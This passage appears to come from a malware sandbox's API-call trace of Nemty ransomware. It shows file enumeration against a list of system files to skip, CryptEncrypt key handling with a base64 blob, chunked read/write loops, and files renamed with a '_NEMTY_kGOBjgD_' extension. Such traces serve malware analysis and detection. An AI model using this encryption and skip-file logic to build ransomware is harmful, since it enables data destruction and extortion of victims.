RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63440d0 [0132.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0132.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0132.338] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Main_Background_QuickLaunch.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_main_background_quicklaunch.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Main_Background_QuickLaunch.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_main_background_quicklaunch.png._nemty_kgobjgd_")) returned 0 [0132.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440d0 | out: hHeap=0x4f90000) returned 1 [0132.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340460 | out: hHeap=0x4f90000) returned 1 [0132.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0132.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402f0 | out: hHeap=0x4f90000) returned 1 [0132.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0132.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0132.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0132.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340208 | out: hHeap=0x4f90000) returned 1 [0132.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0132.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0132.338] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc91469db, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc91469db, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbcd84d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x86e8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="Gadget_Main_Gradient.png", cAlternateFileName="")) returned 1 [0132.338] lstrcmpiW (lpString1="Gadget_Main_Gradient.png", lpString2=".") returned 1 [0132.338] lstrcmpiW (lpString1="Gadget_Main_Gradient.png", lpString2="..") returned 1 [0132.338] lstrcmpiW (lpString1="Gadget_Main_Gradient.png", lpString2="...") returned 1 [0132.338] lstrcmpiW (lpString1="Gadget_Main_Gradient.png", lpString2="windows") returned -1 [0132.338] lstrcmpiW (lpString1="Gadget_Main_Gradient.png", lpString2="$RECYCLE.BIN") returned 1 [0132.338] lstrcmpiW (lpString1="Gadget_Main_Gradient.png", lpString2="rsa") returned -1 [0132.338] lstrcmpiW (lpString1="Gadget_Main_Gradient.png", lpString2="NTDETECT.COM") returned -1 [0132.338] lstrcmpiW (lpString1="Gadget_Main_Gradient.png", lpString2="ntldr") returned -1 [0132.338] lstrcmpiW (lpString1="Gadget_Main_Gradient.png", lpString2="MSDOS.SYS") returned -1 [0132.338] lstrcmpiW (lpString1="Gadget_Main_Gradient.png", lpString2="IO.SYS") returned -1 [0132.338] lstrcmpiW (lpString1="Gadget_Main_Gradient.png", lpString2="boot.ini") returned 1 [0132.338] lstrcmpiW (lpString1="Gadget_Main_Gradient.png", lpString2="boot.ini") returned 1 [0132.338] lstrcmpiW (lpString1="Gadget_Main_Gradient.png", lpString2="AUTOEXEC.BAT") returned 1 [0132.338] lstrcmpiW (lpString1="Gadget_Main_Gradient.png", lpString2="ntuser.dat") returned -1 [0132.338] lstrcmpiW (lpString1="Gadget_Main_Gradient.png", lpString2="desktop.ini") returned 1 [0132.338] lstrcmpiW (lpString1="Gadget_Main_Gradient.png", lpString2="CONFIG.SYS") returned 1 [0132.338] lstrcmpiW (lpString1="Gadget_Main_Gradient.png", lpString2="RECYCLER") returned -1 [0132.339] lstrcmpiW (lpString1="Gadget_Main_Gradient.png", lpString2="BOOTSECT.BAK") returned 1 [0132.339] lstrcmpiW (lpString1="Gadget_Main_Gradient.png", lpString2="bootmgr") returned 1 [0132.339] lstrcmpiW (lpString1="Gadget_Main_Gradient.png", lpString2="programdata") returned -1 [0132.339] lstrcmpiW (lpString1="Gadget_Main_Gradient.png", lpString2="appdata") returned 1 [0132.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0132.339] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Main_Gradient.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0132.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0132.339] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Main_Gradient.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Gadget_Main_Gradient.png", lpUsedDefaultChar=0x0) returned 24 [0132.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0132.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0132.339] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Main_Gradient.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0132.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0132.339] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Main_Gradient.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Gadget_Main_Gradient.png", lpUsedDefaultChar=0x0) returned 24 [0132.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0132.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0132.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0132.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0132.339] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Main_Gradient.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0132.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0132.339] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Main_Gradient.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Gadget_Main_Gradient.png", lpUsedDefaultChar=0x0) returned 24 [0132.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0132.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0132.339] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Main_Gradient.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0132.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0132.339] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Main_Gradient.png", cchWideChar=24, lpMultiByteStr=0x4f9ed08, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Gadget_Main_Gradient.png", lpUsedDefaultChar=0x0) returned 24 [0132.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0132.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0132.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340120 | out: hHeap=0x4f90000) returned 1 [0132.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340110 [0132.339] Sleep (dwMilliseconds=0x5) [0132.348] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2885630, dwHighDateTime=0x1d561e8)) [0132.348] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2885630, dwHighDateTime=0x1d561e8)) [0132.348] GetLastError () returned 0x5 [0132.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0132.348] GetLastError () returned 0x5 [0132.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0132.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0132.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0132.348] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0132.348] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0132.349] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0132.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401d8 [0132.349] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401d8, pcchString=0x653e91c | out: pszString="Lys6ZgkZWJOD0GegD0JT1CgYdMaCfgWFC7hnIzN6nWHJo4r2sn7wal+a0/sTkHoj\r\nkPyKlagR3bKkHVpWGJOJ/F6njfxmwAUVhZdErNBaigWXr5lQ8zfzBBr3UD6MMTP7\r\ncTTXaPgX6mSg6Pl7tG/gjDJWLcJN0H8GkK0vD4gHTDmdYtnMvY4SgMDYZ7RxPhOe\r\nUcsLA0TdgOoaTKN0wno1M3Csr7yuMg470uhY8dz4xgv6m8dO3pttpg3nOI2d4cjm\r\nLG30IJeMia6N2IO6RMo6Nuedse9d5hKjgezsm6NP/R1TeeFgA5qrguWbsrOU4NQb\r\nMam9pofKYKHQaCpJ/43Dqw==\r\n", pcchString=0x653e91c) returned 1 [0132.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0132.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0132.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0132.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0132.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401d8 [0132.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0132.349] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Main_Gradient.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_main_gradient.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0132.349] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0132.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0132.349] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.349] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.358] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.358] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.359] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.359] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.368] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.368] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.368] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.368] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.378] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.378] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.378] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.378] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.388] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.388] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.388] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.388] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.397] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.397] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.397] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.397] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.407] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.407] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.407] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.407] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.416] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.416] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.416] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.416] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.425] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.426] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.426] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.426] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.435] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.435] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.435] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.435] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.445] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.445] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.445] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.445] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.451] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.451] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.451] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.451] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.457] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.457] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.457] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.457] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401d8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0132.457] CloseHandle (hObject=0xffffffff) returned 0 [0132.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0132.457] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0132.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0132.457] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0132.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0132.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0132.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340410 [0132.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0132.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0132.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0132.457] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Main_Gradient.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_main_gradient.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Main_Gradient.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_main_gradient.png._nemty_kgobjgd_")) returned 0 [0132.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0132.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0132.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0132.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0132.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0132.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0132.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0132.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0132.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0132.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0132.458] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: 